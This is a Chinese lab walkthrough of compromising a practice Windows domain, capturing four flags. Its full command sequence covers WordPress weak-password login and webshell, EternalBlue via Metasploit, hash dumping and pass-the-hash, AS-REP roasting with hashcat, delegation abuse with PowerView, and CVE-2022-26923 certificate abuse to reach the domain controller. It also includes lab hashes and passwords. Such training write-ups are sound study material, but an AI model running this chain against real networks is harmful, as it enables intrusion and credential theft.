flag1
进入网站，发现是wordpress，这种一般都不会有啥直接漏洞，应该是插件漏洞，或者弱口令
fscan扫描ip
好像没扫出啥东西
wp-login进入后台
爆破密码，弱口令admin，123456，之前lazysysadmin好像打过
修改404页面
蚁剑连接
得到flag1
flag2
上传fscan和代理工具
fscan扫描内网
172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
172.22.15.24:3306 open
172.22.15.13:445 open
172.22.15.24:445 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:139 open
172.22.15.24:139 open
172.22.15.13:135 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.24:135 open
172.22.15.35:135 open
172.22.15.18:135 open
172.22.15.24:80 open
172.22.15.18:80 open
172.22.15.26:22 open
172.22.15.26:80 open
172.22.15.13:88 open
[*] NetInfo
[*]172.22.15.13[->]XR-DC01[->]172.22.15.13
[*] NetInfo
[*]172.22.15.18[->]XR-CA[->]172.22.15.18
[*] NetBios 172.22.15.35 XIAORANG\XR-0687
[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.15.35[->]XR-0687[->]172.22.15.35
[*] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetInfo
[*]172.22.15.24[->]XR-WIN08[->]172.22.15.24
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None看到ms17永恒之蓝代理kali直接msf
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcpset
rhosts 172.22.15.24
exploit连上了，但是不知道为什么不能shell，我看wp可以shell
直接dump哈希
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::然后直接用imoacket工具包中的psexec进行连接
proxychains impacket-psexec administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk
读取flag并且创建一个管理员用户
net user test Abcd1234 /addnet localgroup administrators test /addflag3
再用自己主机代理，进行远程连接
然后登录看到phpstudy得到数据库账号密码,太卡了实在
![![[]]](https://i-blog.csdnimg.cn/direct/181f117207c543af9d152a92cad06d27.png)
root/root@#123
zdoo/zdoo123
然后登录mysql数据库，导出数据
![![[]]](https://i-blog.csdnimg.cn/direct/7064aff8915e4c7781625809f89f3f6d.png)
改成txt，用大佬的脚本提取邮箱
import rewith open('zdoosys_user.txt', 'rb') as file: # 以二进制模式打开文件data = file.readlines()users = []
for line in data:line = line.decode('utf-8', 'ignore') # 使用utf-8编码解码，忽略无法解码的字符match = re.search(r'(\w+)@xiaorang.lab', line)if match:username = match.group(1)users.append(username)with open('user.txt', 'w', encoding='utf-8') as file: # 以UTF-8编码保存结果for user in users:file.write(user + '\n')
得到user.txt
用impacket中的GetNpUsers进行爆破
这个工具kali中集成了已经
proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt
得到俩个hash
$krb5asrep$23$lixiuying@XIAORANG.LAB:843139db9e9d46c7064c1b891fdd0d6e$afa5a511838d56493bb90a1398f6f8f8f26537dd4133fb2f9c0be24d28ff3b6d8ac8f59636874f839751c15dde8183e0d364532ebe86c00fc643b9cc1a894079a0031249add9ec23e4e4834291582b9076aa49702776c731c11f018cfda6301a72718fe62cf5e62a4c0b360080441d7512818f14cced3583e2b01b6e4ba8f081e30ec9c019b3bb2993662a6c86552613b76c40d58bd097099a0607f79334d2c365c9992a48121a1f8a03626c70d43dc3656f3ccede59cfa3720b8458dffce4b67d20f3b1b1897b430e5d5d5ac818706e7fb192a1cd940fba6ed4bb4bbbeae36edfaa26ba11fc02ef55fb4b4b
$krb5asrep$23$huachunmei@XIAORANG.LAB:eff58abecde01228d594ff0755236c78$59c759e6970e614d393f4e812922a996c2fc1c16b08607b569f2a1fda496dca9e575a67b343a70128c03b9ad6708c6fe92a38f32a113af67408f2550295df3adf190e62de5a733d105ca8a48aaa705a1c6df633005fdec2559d7c718c22b6ff94a656a4b09e7ed60db6becd4e073ab6d9236690f7dedf6641f3c6b18323f014992fe2f3aed745fa2951d9f08dd79bd88467eac5c6c1e1ba41228b302969c70f3dce14a4e4909ed492632d14e3b822089f5e79a345dbd9e12ec7580e8ada954b0cb8fbf9dd80af7f423db697d1a7a0013dd5f3d3403be2e17d5029461a7e10c55d223513928323bf80b948e95
用hashcat 进行爆破得到密码，账号
来俩次，改中间的就行
hashcat -m 18200 --force -a 0 '$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b' /usr/share/wordlists/rockyou.txt
lixiuying@xiaorang.lab:winniethepooh
huachunmei@xiaorang.lab:1qaz2wsx
远程登录第一个账号
再传一个PowerView.ps1
github.com/shigophilo/tools/blob/master/PowerView.ps1#/
之后用这个获取机器id
Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid
得到id
修改服务资源属性
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
![![[]]](https://i-blog.csdnimg.cn/direct/b7103ade058241e8bd55b12af4109475.png)
再去kali中创建票据
proxychains impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13
![![[]]](https://i-blog.csdnimg.cn/direct/66e7126ca32e416ea8c8e1083c8c20b5.png)
导入票据
export KRB5CCNAME=administrator.ccache
然后更改host
sudo vim /etc/hosts
![![[]]](https://i-blog.csdnimg.cn/direct/9d07175cf6aa467e91e6c9dd909d00cc.png)
记得更改桌面的那个名字
然后无密码连接
proxychains impacket-psexec Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
![![[]]](https://i-blog.csdnimg.cn/direct/47002d0f64ad485a97b09e12748a7888.png)
得到flag3
![![[]]](https://i-blog.csdnimg.cn/direct/16d95e83bf244a0cbe786b52c40c1c86.png)
flag4
XR-DC01漏洞(CVE-2022-26923)
通过certipy-ad创建一个机器账号Test2，并且设置DNS Host Name为域控的 XR-DC01.xiaorang.lab。
先下载一下certipy工具(CVE-2022-26923)
然后执行命令
添加账号
proxychains4 certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab'
![![[]]](https://i-blog.csdnimg.cn/direct/50ac0dfe50b64311b7d91dd762e4ab82.png)
然后申请证书模版，打了两次，不成功就继续打
proxychains4 certipy-ad req -u Test2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
![![[]]](https://i-blog.csdnimg.cn/direct/2b920a7435f74d3dbaad86bb13826f80.png)
然后先传证书
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
然后，Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13
![![[]]](https://i-blog.csdnimg.cn/direct/0b5be83e885743a18b38d122c731bdd7.png)
然后将证书配置到域控的RBCD中
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'
![![[]]](https://i-blog.csdnimg.cn/direct/e8462cec7bf747d2b5f257b97e8fd66b.png)
申请ST
proxychains impacket-getST xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
![![[]]](https://i-blog.csdnimg.cn/direct/d4f8e269d89849b2b416558e6bae850c.png)
导入票据，记住要改名字改为Administrator.ccache
export KRB5CCNAME=Administrator.ccache
无密码连接
proxychains impacket-psexec Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
得到flag4
![![[]]](https://i-blog.csdnimg.cn/direct/4b4df1b879294241919306174a177ab6.png)
